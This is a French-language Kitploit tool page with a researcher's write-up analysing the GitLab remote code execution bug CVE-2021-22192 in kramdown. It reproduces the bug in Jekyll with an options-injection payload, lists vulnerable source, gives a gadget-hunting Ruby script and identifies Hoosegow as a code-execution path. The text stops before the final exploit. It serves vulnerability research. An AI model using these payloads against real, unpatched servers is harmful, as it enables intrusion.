Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Gitlab-RCE — CVE-2021-22192 | Kitploit
Outils/GitHubGitHub/petrusviet/gitlab-rce
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebArticles et RechercheApprentissage et Éducation
GitHubpetrusviet/gitlab-rce

Gitlab-RCE

CVE-2021-22192

Voir le dépôt
12311il y a 5 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Analyse de la vulnérabilité RCE sur Gitlab (CVE-2021–22192)

I) Mise en place

  • Ce bug affecte GitLab Community Edition (CE) et Enterprise Edition (EE) dans les versions (>=13.2, <13.7.9), (>=13.8, <13.8.6) et (>=13.9, <13.9.4)
  • Vous pouvez suivre les instructions de lyy289065406 pour monter l'environnement.

II) Analyse

En commençant à analyser ce bug, je ne disposais que de quelques précieuses informations de lyy289065406 qui m'ont permis de comprendre le cœur du problème. On dirait que le bug se trouve du côté de la gem kramdown (<= 2.3.0), j'ai donc commencé par me pencher sur kramdown.

1. Kramdown

On peut examiner le correctif de kramdown, et on voit une différence dans la fonction formatter_class du module Kramdown::Converter::SyntaxHighlighter::Rouge

::Rouge::Formatters.const_get(formatter) s'est transformé en ::Rouge::Formatters.const_get(formatter, false)

La fonction const_get est héritée de la classe Object, elle peut récupérer les constantes. Elle peut même renvoyer les classes déjà déclarées qu'elle trouve. La seule différence ici est l'ajout du paramètre false. L'ajout de ce paramètre false empêche const_get de récupérer les constantes de la classe parente ou des modules. Encore plus intéressant : dans la fonction self.call, formatter_class est appelée puis new(opts) est appelé. Cela signifie que la méthode récupérée via const_get verra son constructeur appelé pour l'initialisation.

def self.call(converter, text, lang, type, call_opts)
      opts = options(converter, type)
      call_opts[:default_lang] = opts[:default_lang]
      return nil unless lang || opts[:default_lang] || opts[:guess_lang]

      lexer = ::Rouge::Lexer.find_fancy(lang || opts[:default_lang], text)
      return nil if opts[:disable] || !lexer || (lexer.tag == "plaintext" && !opts[:guess_lang])

      opts[:css_class] ||= 'highlight' # For backward compatibility when using Rouge 2.0
      formatter = formatter_class(opts).new(opts)
      formatter.format(lexer.lex(text))
    end

Waouh, waouh. Alors, comment exploiter ?

En nous appuyant sur Kramdown:Options, on peut appeler la fonction Kramdown::Converter::SyntaxHighlighter::Rouge.call

{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}

On voit également que dans le module Kramdown:Options, la fonction simple_hash_validator appelle YAML.safe_load(val). On peut donc configurer un fichier YML pour envoyer le payload souhaité à Kramdown::Converter::SyntaxHighlighter::Rouge

def self.simple_hash_validator(val, name)
      if String === val
        begin
          val = YAML.safe_load(val)
        rescue RuntimeError, ArgumentError, SyntaxError
          raise Kramdown::Error, "Invalid YAML value for option #{name}"
        end
      end
      raise Kramdown::Error, "Invalid type #{val.class} for option #{name}" unless Hash === val
      val
    end
  • Kramdown est utilisé par Jekyll, GitLab Pages, GitHub Pages et Thredd Forum. J'ai donc décidé de l'essayer d'abord avec Jekyll.

2. jekyll

D'abord, il faut mettre en place Jekyll :

  • Installer Jekyll
gem install jekyll
  • Créer des pages Jekyll nommées jekyllTest
jekyll new jekyllTest
  • Modifier le fichier Gemfile.lock pour ramener la version de kramdown à <= 2.3.0
cd jekyllTest

Fichier Gemfile.lock


...
kramdown (2.3.0)
...

  • Installer la page
 bundle install

Voilà, nous avons fini de créer une page Jekyll. Maintenant, on peut injecter un payload pour voir si Kramdown::Converter::SyntaxHighlighter::Rouge.call est réellement capable d'appeler une méthode.

On peut l'ajouter dans le fichier ./_config.yml

kramdown:
  syntax_highlighter: rouge
  syntax_highlighter_opts:
    formatter: CSV

Ou utiliser un document kramdown en ajoutant le payload dans ./_posts/*.markdown

{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}

~~~ ruby
def what?
  42
end
~~~

Ici, j'utilise la deuxième méthode =)))))))

  • On déploie la page Jekyll
bundle exec jekyll serve

vous pouvez rencontrer l'erreur "require': cannot load such file -- webrick (LoadError)", il faut ajouter gem "webrick" au Gemfile

  • On voit le message d'erreur private method 'format' called for #<CSV io_type:Hash encoding:UTF-8 lineno:0 col_sep:. Cela prouve que la classe CSV a bien été appelée.

Ensuite, il faut déterminer quelle méthode choisir pour que l'appel du constructeur puisse déclencher une RCE.

D'après un article d'analyse CVE-2020-10518 qui utilise le bug de kramdown pour provoquer une RCE sur GitHub, je cible la classe Hoosegow :

  • On voit que dans la fonction initialize de Hoosegow, load_inmate_methods est appelé
def initialize(options = {})
    options         = options.dup
    @no_proxy       = options.delete(:no_proxy)
    @inmate_dir     = options.delete(:inmate_dir) || '/hoosegow/inmate'
    @image_name     = options.delete(:image_name)
    @ruby_version   = options.delete(:ruby_version) || RUBY_VERSION
    @docker_options = options
    load_inmate_methods
  • Dans load_inmate_methods, on voit qu'elle appelle require inmate_file
 def load_inmate_methods
    inmate_file = File.join @inmate_dir, 'inmate.rb'

    unless File.exist?(inmate_file)
      raise Hoosegow::InmateImportError, "inmate file doesn't exist"
    end

    require inmate_file

    unless Hoosegow.const_defined?(:Inmate) && Hoosegow::Inmate.is_a?(Module)
      raise Hoosegow::InmateImportError,
        "inmate file doesn't define Hoosegow::Inmate"
    end

    if no_proxy?
      self.extend Hoosegow::Inmate
    else
      inmate_methods = Hoosegow::Inmate.instance_methods
      inmate_methods.each do |name|
        define_singleton_method name do |*args, &block|
          proxy_send name, args, &block
        end
      end
    end
  end
  • Or inmate_file est créé en concaténant @inmate_dir avec 'inmate.rb'. Si on peut appeler cette classe et modifier le paramètre inmate_dir pour pointer vers le chemin de notre fichier payload, alors ne se produirait-il pas une RCE ici ?

  • J'exécute un script dans le chemin de la page Jekyll pour vérifier les méthodes déjà définies :

require "bundler"
Bundler.require

methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name =~ /\A[[:upper:]][[:alnum:]_]*\z/ }
 
methods.each do |m|
  begin
    puts "trying #{m[:ob]}"
    m[:ob].new({a:1, b:2})
    puts "worked\n\n"
  rescue ArgumentError
      puts "nope\n\n"
  rescue NoMethodError
      puts "nope\n\n"
  rescue => e
      p e
      puts "maybe\n\n"
  end
  • Malheureusement, aucune classe nommée Hoosegow n'est trouvée, même en évitant que le script ne plante en cours de route grâce à la condition ob.name == "Hoosegow"
require "bundler"
Bundler.require
  
methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name == "Hoosegow"  }

...
  • En fait, la classe Hoosegow n'était pas déclarée dans le class path. J'ajoute gem "hoosegow" au Gemfile et le script trouve cette classe. [Hé hé hé]
  • Ensuite, essayons d'appeler Hoosegow avec kramdown pour voir
Télécharger l’outil